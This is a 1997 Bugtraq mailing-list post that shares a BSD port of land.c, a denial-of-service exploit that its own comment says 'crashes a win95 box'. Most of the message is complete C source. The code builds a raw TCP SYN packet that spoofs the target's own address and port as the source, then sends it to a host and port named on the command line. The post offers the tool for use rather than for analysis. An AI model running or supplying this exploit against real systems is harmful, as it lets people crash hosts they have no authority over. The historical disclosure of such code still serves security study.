--- Begin Message ------clip---clip--- MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.BSI.3.96.971121105621.1489C-100000@pillbox.broder.com> Date: Fri, 21 Nov 1997 10:58:39 -0800 Reply-To: blast <blast@BRODER.COM> From: blast <blast@BRODER.COM> Subject: 44BSD port of land.c To: BUGTRAQ@NETSPACE.ORG For those of you who don't have all the "fancy" LINUX networking includes, here is a port to 44BSD flavors. Should compile fine on FreeBSD, NetBSD, OpenBSD, BSDi, etc. Enjoy. -blast %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \ Tim Keanini | "The limits of my language, / / | are the limits of my world." \ \ blast@broder.com | --Ludwig Wittgenstein / \ +================================================/ |Key fingerprint = 7B 68 88 41 A8 74 AB EC F0 37 98 4C 37 F7 40 D6 | / PUB KEY: http://www-swiss.ai.mit.edu/~bal/pks-commands.html \ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% /* land.c by m3lt, FLC crashes a win95 box Ported by blast and jerm to 44BSD*/ #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/ip_icmp.h> #include <ctype.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #include <errno.h> /* #include <netinet/ip_tcp.h> */ /* #include <netinet/protocols.h> */ struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock,foo; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; fprintf(stderr,"land.c by m3lt mod by blast, FLC\n"); if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); } bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } foo=1; if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1) { fprintf(stderr,"couldn't set raw header on socket\n"); return(-1); } bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(0xF1C); ipheader->ip_ttl=255; ipheader->ip_p=IPPROTO_TCP; ipheader->ip_src=sin.sin_addr; ipheader->ip_dst=sin.sin_addr; tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet,%d\n",errno); return(-1); } fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); close(sock); return(0); }
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